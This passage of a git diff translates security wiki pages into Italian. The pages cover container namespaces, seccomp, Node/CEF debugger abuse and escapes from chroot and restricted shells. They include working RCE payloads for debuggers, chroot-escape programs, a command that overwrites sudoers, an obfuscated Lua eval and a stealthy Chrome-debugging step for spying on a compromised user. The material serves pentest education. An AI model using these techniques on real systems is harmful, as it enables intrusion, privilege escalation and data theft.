/bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale dei PID. +- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale di PID. Assicurandosi che `unshare` venga eseguito con il flag `-f`, il nuovo namespace PID viene mantenuto correttamente, consentendo a `/bin/bash` e ai suoi subprocessi di operare senza incontrare l'errore di allocazione della memoria. @@ -64,7 +64,7 @@ lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]' ```bash sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u ``` -Nota che l'utente root del namespace PID iniziale (predefinito) può vedere tutti i processi, anche quelli in nuovi spazi dei PID, ecco perché possiamo vedere tutti i namespace PID. +Nota che l'utente root del namespace PID iniziale (predefinito) può vedere tutti i processi, anche quelli in nuovi spazi dei nomi PID, ecco perché possiamo vedere tutti i namespace PID. ### Entrare all'interno di un namespace PID ```bash diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md index f26ad313a..87734cc2c 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md @@ -20,9 +20,9 @@ Montando una nuova istanza del filesystem `/proc` se utilizzi il parametro `--mo Errore: bash: fork: Impossibile allocare memoria -Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito: +Quando `unshare` viene eseguito senza l'opzione `-f`, si verifica un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito: -1. **Spiegazione del Problema**: +1. **Spiegazione del problema**: - Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (denominato processo "unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno. - Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale. diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md index 0f061546f..23c377da0 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md @@ -15,9 +15,9 @@ Gli user namespace sono particolarmente utili nella containerizzazione, dove ogn 3. All'interno di un user namespace, **i processi possono avere pieni privilegi di root (UID 0) per operazioni all'interno del namespace**, pur avendo privilegi limitati al di fuori del namespace. Questo consente **ai container di funzionare con capacità simili a quelle di root all'interno del proprio namespace senza avere pieni privilegi di root sul sistema host**. 4. I processi possono spostarsi tra i namespace utilizzando la chiamata di sistema `setns()` o creare nuovi namespace utilizzando le chiamate di sistema `unshare()` o `clone()` con il flag `CLONE_NEWUSER`. Quando un processo si sposta in un nuovo namespace o ne crea uno, inizierà a utilizzare le mappature degli ID utente e gruppo associate a quel namespace. -## Laboratorio: +## Lab: -### Crea diversi Namespace +### Crea diversi Namespaces #### CLI ```bash @@ -31,7 +31,7 @@ Montando una nuova istanza del filesystem `/proc` se utilizzi il parametro `--mo Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito: -1. **Spiegazione del problema**: +1. **Spiegazione del Problema**: - Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (denominato processo "unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno. - Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale. @@ -100,10 +100,10 @@ root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash Nel caso dei namespace utente, **quando viene creato un nuovo namespace utente, il processo che entra nel namespace riceve un insieme completo di capacità all'interno di quel namespace**. Queste capacità consentono al processo di eseguire operazioni privilegiate come **montare** **filesystem**, creare dispositivi o cambiare la proprietà dei file, ma **solo nel contesto del proprio namespace utente**. -Ad esempio, quando hai la capacità `CAP_SYS_ADMIN` all'interno di un namespace utente, puoi eseguire operazioni che normalmente richiedono questa capacità, come montare filesystem, ma solo nel contesto del tuo namespace utente. Qualsiasi operazione eseguita con questa capacità non influenzerà il sistema host o altri namespace. +Ad esempio, quando hai la capacità `CAP_SYS_ADMIN` all'interno di un namespace utente, puoi eseguire operazioni che normalmente richiedono questa capacità, come montare filesystem, ma solo nel contesto del tuo namespace utente. Qualsiasi operazione che esegui con questa capacità non influenzerà il sistema host o altri namespace. > [!WARNING] -> Pertanto, anche se ottenere un nuovo processo all'interno di un nuovo namespace utente **ti restituirà tutte le capacità** (CapEff: 000001ffffffffff), in realtà puoi **utilizzare solo quelle relative al namespace** (montaggio ad esempio) ma non tutte. Quindi, questo da solo non è sufficiente per sfuggire a un contenitore Docker. +> Pertanto, anche se ottenere un nuovo processo all'interno di un nuovo namespace utente **ti restituirà tutte le capacità** (CapEff: 000001ffffffffff), in realtà puoi **utilizzare solo quelle relative al namespace** (montaggio ad esempio) ma non tutte. Quindi, questo da solo non è sufficiente per sfuggire a un container Docker. ```bash # There are the syscalls that are filtered after changing User namespace with: unshare -UmCpf bash diff --git a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md index 69741c603..80f57e597 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md +++ b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md @@ -46,7 +46,7 @@ printf("You will not see this message--the process will be killed first\n"); ``` ### Seccomp-bpf -Questa modalità consente **il filtraggio delle chiamate di sistema utilizzando una politica configurabile** implementata tramite regole di Berkeley Packet Filter. +Questa modalità consente **il filtraggio delle chiamate di sistema utilizzando una politica configurabile** implementata tramite regole del Berkeley Packet Filter. ```c:seccomp_bpf.c #include #include @@ -105,7 +105,7 @@ docker run --rm \ hello-world ``` Se vuoi, ad esempio, **vietare** a un container di eseguire alcune **syscall** come `uname`, puoi scaricare il profilo predefinito da [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) e semplicemente **rimuovere la stringa `uname` dalla lista**.\ -Se vuoi assicurarti che **alcun binario non funzioni all'interno di un container docker**, puoi usare strace per elencare le syscall che il binario sta utilizzando e poi vietarle.\ +Se vuoi assicurarti che **alcuni binari non funzionino all'interno di un container docker**, puoi usare strace per elencare le syscall che il binario sta utilizzando e poi vietarle.\ Nell'esempio seguente vengono scoperte le **syscall** di `uname`: ```bash docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname diff --git a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md index 921283eca..86bbcfc06 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md +++ b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md @@ -19,7 +19,7 @@ L'obiettivo di armare un container distroless è essere in grado di **eseguire b ### Through memory -In arrivo a un certo punto del 2023... +In arrivo in un certo momento del 2023... ### Via Existing binaries diff --git a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md index 1aa065326..52af27241 100644 --- a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md +++ b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md @@ -1,18 +1,17 @@ -# Node inspector/CEF debug abuse +# Abuso del debug di Node inspector/CEF {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): When started with the `--inspect` switch, a Node.js process listens for a debugging client. By **default**, it will listen at host and port **`127.0.0.1:9229`**. Each process is also assigned a **unique** **UUID**. +[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Quando avviato con l'opzione `--inspect`, un processo Node.js ascolta per un client di debug. Per **default**, ascolterà all'indirizzo host e alla porta **`127.0.0.1:9229`**. Ogni processo è anche assegnato a un **UUID** **unico**. -Inspector clients must know and specify host address, port, and UUID to connect. A full URL will look something like `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`. +I client dell'inspector devono conoscere e specificare l'indirizzo host, la porta e l'UUID per connettersi. Un URL completo apparirà simile a `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`. > [!WARNING] -> Since the **debugger has full access to the Node.js execution environment**, a malicious actor able to connect to this port may be able to execute arbitrary code on behalf of the Node.js process (**potential privilege escalation**). - -There are several ways to start an inspector: +> Poiché il **debugger ha accesso completo all'ambiente di esecuzione di Node.js**, un attore malintenzionato in grado di connettersi a questa porta potrebbe essere in grado di eseguire codice arbitrario per conto del processo Node.js (**potenziale escalation dei privilegi**). +Ci sono diversi modi per avviare un inspector: ```bash node --inspect app.js #Will run the inspector in port 9229 node --inspect=4444 app.js #Will run the inspector in port 4444 @@ -23,58 +22,48 @@ node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and po node --inspect --inspect-port=0 app.js #Will run the inspector in a random port # Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector ``` - -When you start an inspected process something like this will appear: - +Quando avvii un processo ispezionato, apparirà qualcosa del genere: ``` Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d For help, see: https://nodejs.org/en/docs/inspector ``` +I processi basati su **CEF** (**Chromium Embedded Framework**) devono utilizzare il parametro: `--remote-debugging-port=9222` per aprire il **debugger** (le protezioni SSRF rimangono molto simili). Tuttavia, **invece** di concedere una sessione di **debug** **NodeJS**, comunicheranno con il browser utilizzando il [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), che è un'interfaccia per controllare il browser, ma non c'è un RCE diretto. -Processes based on **CEF** (**Chromium Embedded Framework**) like need to use the param: `--remote-debugging-port=9222` to open de **debugger** (the SSRF protections remain very similar). However, they **instead** of granting a **NodeJS** **debug** session will communicate with the browser using the [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), this is an interface to control the browser, but there isn't a direct RCE. - -When you start a debugged browser something like this will appear: - +Quando avvii un browser in debug, apparirà qualcosa del genere: ``` DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369 ``` +### Browsers, WebSockets e politica di stessa origine -### Browsers, WebSockets and same-origin policy - -Websites open in a web-browser can make WebSocket and HTTP requests under the browser security model. An **initial HTTP connection** is necessary to **obtain a unique debugger session id**. The **same-origin-policy** **prevents** websites from being able to make **this HTTP connection**. For additional security against [**DNS rebinding attacks**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** Node.js verifies that the **'Host' headers** for the connection either specify an **IP address** or **`localhost`** or **`localhost6`** precisely. +I siti web aperti in un browser possono effettuare richieste WebSocket e HTTP secondo il modello di sicurezza del browser. Una **connessione HTTP iniziale** è necessaria per **ottenere un id di sessione debugger unico**. La **politica di stessa origine** **impedisce** ai siti web di poter effettuare **questa connessione HTTP**. Per ulteriore sicurezza contro [**gli attacchi di DNS rebinding**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** Node.js verifica che gli **header 'Host'** per la connessione specifichino un **indirizzo IP** o **`localhost`** o **`localhost6`** precisamente. > [!NOTE] -> This **security measures prevents exploiting the inspector** to run code by **just sending a HTTP request** (which could be done exploiting a SSRF vuln). +> Queste **misure di sicurezza impediscono di sfruttare l'inspector** per eseguire codice **semplicemente inviando una richiesta HTTP** (cosa che potrebbe essere fatta sfruttando una vulnerabilità SSRF). -### Starting inspector in running processes - -You can send the **signal SIGUSR1** to a running nodejs process to make it **start the inspector** in the default port. However, note that you need to have enough privileges, so this might grant you **privileged access to information inside the process** but no a direct privilege escalation. +### Avviare l'inspector nei processi in esecuzione +Puoi inviare il **segnale SIGUSR1** a un processo nodejs in esecuzione per farlo **avviare l'inspector** nella porta predefinita. Tuttavia, nota che devi avere privilegi sufficienti, quindi questo potrebbe concederti **accesso privilegiato alle informazioni all'interno del processo** ma non una diretta escalation di privilegi. ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d ``` - > [!NOTE] -> This is useful in containers because **shutting down the process and starting a new one** with `--inspect` is **not an option** because the **container** will be **killed** with the process. +> Questo è utile nei contenitori perché **arrestare il processo e avviarne uno nuovo** con `--inspect` **non è un'opzione** perché il **contenitore** verrà **terminato** con il processo. -### Connect to inspector/debugger +### Connettersi all'inspector/debugger -To connect to a **Chromium-based browser**, the `chrome://inspect` or `edge://inspect` URLs can be accessed for Chrome or Edge, respectively. By clicking the Configure button, it should be ensured that the **target host and port** are correctly listed. The image shows a Remote Code Execution (RCE) example: +Per connettersi a un **browser basato su Chromium**, è possibile accedere agli URL `chrome://inspect` o `edge://inspect` per Chrome o Edge, rispettivamente. Cliccando sul pulsante Configura, si dovrebbe garantire che l'**host e la porta di destinazione** siano elencati correttamente. L'immagine mostra un esempio di Esecuzione Remota di Codice (RCE): ![](<../../images/image (674).png>) -Using the **command line** you can connect to a debugger/inspector with: - +Utilizzando la **linea di comando** è possibile connettersi a un debugger/inspector con: ```bash node inspect : node inspect 127.0.0.1:9229 # RCE example from debug console debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')") ``` - -The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug), allows to **find inspectors** running locally and **inject code** into them. - +Lo strumento [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) consente di **trovare gli ispettori** in esecuzione localmente e **iniettare codice** in essi. ```bash #List possible vulnerable sockets ./cefdebug.exe @@ -83,76 +72,67 @@ The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefd #Exploit it ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')" ``` +> [!NOTE] +> Nota che gli **exploit RCE di NodeJS non funzioneranno** se connessi a un browser tramite [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (devi controllare l'API per trovare cose interessanti da fare con esso). + +## RCE nel Debugger/Inspector di NodeJS > [!NOTE] -> Note that **NodeJS RCE exploits won't work** if connected to a browser via [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (you need to check the API to find interesting things to do with it). - -## RCE in NodeJS Debugger/Inspector - -> [!NOTE] -> If you came here looking how to get [**RCE from a XSS in Electron please check this page.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) - -Some common ways to obtain **RCE** when you can **connect** to a Node **inspector** is using something like (looks that this **won't work in a connection to Chrome DevTools protocol**): +> Se sei arrivato qui cercando come ottenere [**RCE da un XSS in Electron, controlla questa pagina.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) +Alcuni modi comuni per ottenere **RCE** quando puoi **connetterti** a un **inspector** di Node è utilizzare qualcosa come (sembra che questo **non funzionerà in una connessione al protocollo Chrome DevTools**): ```javascript process.mainModule.require("child_process").exec("calc") window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe") require("child_process").spawnSync("calc.exe") Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" })) ``` - ## Chrome DevTools Protocol Payloads -You can check the API here: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ -In this section I will just list interesting things I find people have used to exploit this protocol. +Puoi controllare l'API qui: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ +In questa sezione elencherò solo cose interessanti che ho trovato che le persone hanno usato per sfruttare questo protocollo. ### Parameter Injection via Deep Links -In the [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security discovered that an application based on CEF **registered a custom UR**I in the system (workspaces://) that received the full URI and then **launched the CEF based applicatio**n with a configuration that was partially constructing from that URI. +Nel [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security ha scoperto che un'applicazione basata su CEF **ha registrato un URI personalizzato** nel sistema (workspaces://) che riceveva l'URI completo e poi **lanciava l'applicazione basata su CEF** con una configurazione che era parzialmente costruita da quell'URI. -It was discovered that the URI parameters where URL decoded and used to launch the CEF basic application, allowing a user to **inject** the flag **`--gpu-launcher`** in the **command line** and execute arbitrary things. - -So, a payload like: +È stato scoperto che i parametri URI venivano decodificati in URL e utilizzati per lanciare l'applicazione di base CEF, consentendo a un utente di **iniettare** il flag **`--gpu-launcher`** nella **linea di comando** ed eseguire cose arbitrarie. +Quindi, un payload come: ``` workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE ``` +Eseguirà un calc.exe. -Will execute a calc.exe. - -### Overwrite Files - -Change the folder where **downloaded files are going to be saved** and download a file to **overwrite** frequently used **source code** of the application with your **malicious code**. +### Sovrascrivere File +Cambia la cartella in cui **i file scaricati verranno salvati** e scarica un file per **sovrascrivere** il **codice sorgente** dell'applicazione utilizzato frequentemente con il tuo **codice malevolo**. ```javascript ws = new WebSocket(url) //URL of the chrome devtools service ws.send( - JSON.stringify({ - id: 42069, - method: "Browser.setDownloadBehavior", - params: { - behavior: "allow", - downloadPath: "/code/", - }, - }) +JSON.stringify({ +id: 42069, +method: "Browser.setDownloadBehavior", +params: { +behavior: "allow", +downloadPath: "/code/", +}, +}) ) ``` +### Webdriver RCE e esfiltrazione -### Webdriver RCE and exfiltration - -According to this post: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) it's possible to obtain RCE and exfiltrate internal pages from theriver. +Secondo questo post: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) è possibile ottenere RCE ed esfiltrare pagine interne da theriver. ### Post-Exploitation -In a real environment and **after compromising** a user PC that uses Chrome/Chromium based browser you could launch a Chrome process with the **debugging activated and port-forward the debugging port** so you can access it. This way you will be able to **inspect everything the victim does with Chrome and steal sensitive information**. - -The stealth way is to **terminate every Chrome process** and then call something like +In un ambiente reale e **dopo aver compromesso** un PC utente che utilizza un browser basato su Chrome/Chromium, potresti avviare un processo Chrome con il **debugging attivato e inoltrare la porta di debugging** in modo da poter accedervi. In questo modo sarai in grado di **ispezionare tutto ciò che la vittima fa con Chrome e rubare informazioni sensibili**. +Il modo furtivo è **terminare ogni processo Chrome** e poi chiamare qualcosa come ```bash Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session" ``` - -## References +## Riferimenti - [https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s](https://www.youtube.com/watch?v=iwR746pfTEc&t=6345s) - [https://github.com/taviso/cefdebug](https://github.com/taviso/cefdebug) diff --git a/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md b/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md index d2db5d66c..05023d4c5 100644 --- a/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md +++ b/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md @@ -1,32 +1,31 @@ -# Escaping from Jails +# Uscire dalle Carceri {{#include ../../banners/hacktricks-training.md}} ## **GTFOBins** -**Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **if you can execute any binary with "Shell" property** +**Cerca in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **se puoi eseguire qualche binario con la proprietà "Shell"** -## Chroot Escapes +## Uscite da Chroot -From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** (**root**) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**.\ -Usually this means that to escape you need to be root inside the chroot. +Da [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): Il meccanismo chroot **non è destinato a difendere** contro manomissioni intenzionali da parte di **utenti privilegiati** (**root**). Nella maggior parte dei sistemi, i contesti chroot non si sovrappongono correttamente e i programmi chrooted **con privilegi sufficienti possono eseguire un secondo chroot per uscire**.\ +Di solito questo significa che per uscire devi essere root all'interno del chroot. > [!TIP] -> The **tool** [**chw00t**](https://github.com/earthquake/chw00t) was created to abuse the following escenarios and scape from `chroot`. +> Il **tool** [**chw00t**](https://github.com/earthquake/chw00t) è stato creato per abusare dei seguenti scenari e scappare da `chroot`. ### Root + CWD > [!WARNING] -> If you are **root** inside a chroot you **can escape** creating **another chroot**. This because 2 chroots cannot coexists (in Linux), so if you create a folder and then **create a new chroot** on that new folder being **you outside of it**, you will now be **outside of the new chroot** and therefore you will be in the FS. +> Se sei **root** all'interno di un chroot puoi **uscire** creando **un altro chroot**. Questo perché 2 chroot non possono coesistere (in Linux), quindi se crei una cartella e poi **crei un nuovo chroot** su quella nuova cartella essendo **tu all'esterno di essa**, ora sarai **fuori dal nuovo chroot** e quindi sarai nel FS. > -> This occurs because usually chroot DOESN'T move your working directory to the indicated one, so you can create a chroot but e outside of it. +> Questo si verifica perché di solito chroot NON sposta la tua directory di lavoro in quella indicata, quindi puoi creare un chroot ma essere all'esterno di esso. -Usually you won't find the `chroot` binary inside a chroot jail, but you **could compile, upload and execute** a binary: +Di solito non troverai il binario `chroot` all'interno di una prigione chroot, ma **potresti compilare, caricare ed eseguire** un binario:
C: break_chroot.c - ```c #include #include @@ -36,61 +35,55 @@ Usually you won't find the `chroot` binary inside a chroot jail, but you **could int main(void) { - mkdir("chroot-dir", 0755); - chroot("chroot-dir"); - for(int i = 0; i < 1000; i++) { - chdir(".."); - } - chroot("."); - system("/bin/bash"); +mkdir("chroot-dir", 0755); +chroot("chroot-dir"); +for(int i = 0; i < 1000; i++) { +chdir(".."); +} +chroot("."); +system("/bin/bash"); } ``` -
Python - ```python #!/usr/bin/python import os os.mkdir("chroot-dir") os.chroot("chroot-dir") for i in range(1000): - os.chdir("..") +os.chdir("..") os.chroot(".") os.system("/bin/bash") ``` -
Perl - ```perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { - chdir ".." +chdir ".." } chroot "."; system("/bin/bash"); ``` -
-### Root + Saved fd +### Root + fd salvato > [!WARNING] -> This is similar to the previous case, but in this case the **attacker stores a file descriptor to the current directory** and then **creates the chroot in a new folder**. Finally, as he has **access** to that **FD** **outside** of the chroot, he access it and he **escapes**. +> Questo è simile al caso precedente, ma in questo caso l'**attaccante memorizza un descrittore di file nella directory corrente** e poi **crea il chroot in una nuova cartella**. Infine, poiché ha **accesso** a quel **FD** **al di fuori** del chroot, vi accede e **escapa**.
C: break_chroot.c - ```c #include #include @@ -100,70 +93,68 @@ system("/bin/bash"); int main(void) { - mkdir("tmpdir", 0755); - dir_fd = open(".", O_RDONLY); - if(chroot("tmpdir")){ - perror("chroot"); - } - fchdir(dir_fd); - close(dir_fd); - for(x = 0; x < 1000; x++) chdir(".."); - chroot("."); +mkdir("tmpdir", 0755); +dir_fd = open(".", O_RDONLY); +if(chroot("tmpdir")){ +perror("chroot"); +} +fchdir(dir_fd); +close(dir_fd); +for(x = 0; x < 1000; x++) chdir(".."); +chroot("."); } ``` -
### Root + Fork + UDS (Unix Domain Sockets) > [!WARNING] -> FD can be passed over Unix Domain Sockets, so: +> FD può essere passato attraverso Unix Domain Sockets, quindi: > -> - Create a child process (fork) -> - Create UDS so parent and child can talk -> - Run chroot in child process in a different folder -> - In parent proc, create a FD of a folder that is outside of new child proc chroot -> - Pass to child procc that FD using the UDS -> - Child process chdir to that FD, and because it's ouside of its chroot, he will escape the jail +> - Crea un processo figlio (fork) +> - Crea UDS in modo che il genitore e il figlio possano comunicare +> - Esegui chroot nel processo figlio in una cartella diversa +> - Nel processo genitore, crea un FD di una cartella che si trova al di fuori del nuovo chroot del processo figlio +> - Passa a quel processo figlio quell'FD utilizzando l'UDS +> - Il processo figlio cambia directory in quell'FD, e poiché è al di fuori del suo chroot, evaderà dalla prigione ### Root + Mount > [!WARNING] > -> - Mounting root device (/) into a directory inside the chroot -> - Chrooting into that directory +> - Montare il dispositivo root (/) in una directory all'interno del chroot +> - Chroot in quella directory > -> This is possible in Linux +> Questo è possibile in Linux ### Root + /proc > [!WARNING] > -> - Mount procfs into a directory inside the chroot (if it isn't yet) -> - Look for a pid that has a different root/cwd entry, like: /proc/1/root -> - Chroot into that entry +> - Montare procfs in una directory all'interno del chroot (se non è già stato fatto) +> - Cerca un pid che ha un'entrata root/cwd diversa, come: /proc/1/root +> - Chroot in quella voce ### Root(?) + Fork > [!WARNING] > -> - Create a Fork (child proc) and chroot into a different folder deeper in the FS and CD on it -> - From the parent process, move the folder where the child process is in a folder previous to the chroot of the children -> - This children process will find himself outside of the chroot +> - Crea un Fork (processo figlio) e chroot in una cartella diversa più profonda nel FS e CD su di essa +> - Dal processo genitore, sposta la cartella in cui si trova il processo figlio in una cartella precedente al chroot dei figli +> - Questo processo figlio si troverà al di fuori del chroot ### ptrace > [!WARNING] > -> - Time ago users could debug its own processes from a process of itself... but this is not possible by default anymore -> - Anyway, if it's possible, you could ptrace into a process and execute a shellcode inside of it ([see this example](linux-capabilities.md#cap_sys_ptrace)). +> - Tempo fa gli utenti potevano eseguire il debug dei propri processi da un processo di se stessi... ma questo non è più possibile per impostazione predefinita +> - Comunque, se è possibile, potresti ptrace in un processo ed eseguire un shellcode all'interno di esso ([vedi questo esempio](linux-capabilities.md#cap_sys_ptrace)). ## Bash Jails ### Enumeration -Get info about the jail: - +Ottieni informazioni sulla prigione: ```bash echo $SHELL echo $PATH @@ -171,103 +162,83 @@ env export pwd ``` +### Modifica PATH -### Modify PATH - -Check if you can modify the PATH env variable - +Controlla se puoi modificare la variabile di ambiente PATH ```bash echo $PATH #See the path of the executables that you can use PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path echo /home/* #List directory ``` - -### Using vim - +### Usare vim ```bash :set shell=/bin/sh :shell ``` +### Crea script -### Create script - -Check if you can create an executable file with _/bin/bash_ as content - +Controlla se puoi creare un file eseguibile con _/bin/bash_ come contenuto ```bash red /bin/bash > w wx/path #Write /bin/bash in a writable and executable path ``` +### Ottieni bash da SSH -### Get bash from SSH - -If you are accessing via ssh you can use this trick to execute a bash shell: - +Se stai accedendo tramite ssh, puoi usare questo trucco per eseguire una shell bash: ```bash ssh -t user@ bash # Get directly an interactive shell ssh user@ -t "bash --noprofile -i" ssh user@ -t "() { :; }; sh -i " ``` - -### Declare - +### Dichiarare ```bash declare -n PATH; export PATH=/bin;bash -i BASH_CMDS[shell]=/bin/bash;shell -i ``` - ### Wget -You can overwrite for example sudoers file - +Puoi sovrascrivere ad esempio il file sudoers. ```bash wget http://127.0.0.1:8080/sudoers -O /etc/sudoers ``` - -### Other tricks +### Altri trucchi [**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\ -[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells**](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\ -[https://gtfobins.github.io](https://gtfobins.github.io/**](https/gtfobins.github.io)\ -**It could also be interesting the page:** +[https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\ +[https://gtfobins.github.io](https://gtfobins.github.io)\ +**Potrebbe essere interessante anche la pagina:** {{#ref}} ../bypass-bash-restrictions/ {{#endref}} -## Python Jails +## Carceri Python -Tricks about escaping from python jails in the following page: +Trucchi su come evadere dalle carceri python nella seguente pagina: {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ {{#endref}} -## Lua Jails +## Carceri Lua -In this page you can find the global functions you have access to inside lua: [https://www.gammon.com.au/scripts/doc.php?general=lua_base](https://www.gammon.com.au/scripts/doc.php?general=lua_base) - -**Eval with command execution:** +In questa pagina puoi trovare le funzioni globali a cui hai accesso all'interno di lua: [https://www.gammon.com.au/scripts/doc.php?general=lua_base](https://www.gammon.com.au/scripts/doc.php?general=lua_base) +**Eval con esecuzione di comandi:** ```bash load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))() ``` - -Some tricks to **call functions of a library without using dots**: - +Alcuni trucchi per **chiamare funzioni di una libreria senza usare i punti**: ```bash print(string.char(0x41, 0x42)) print(rawget(string, "char")(0x41, 0x42)) ``` - 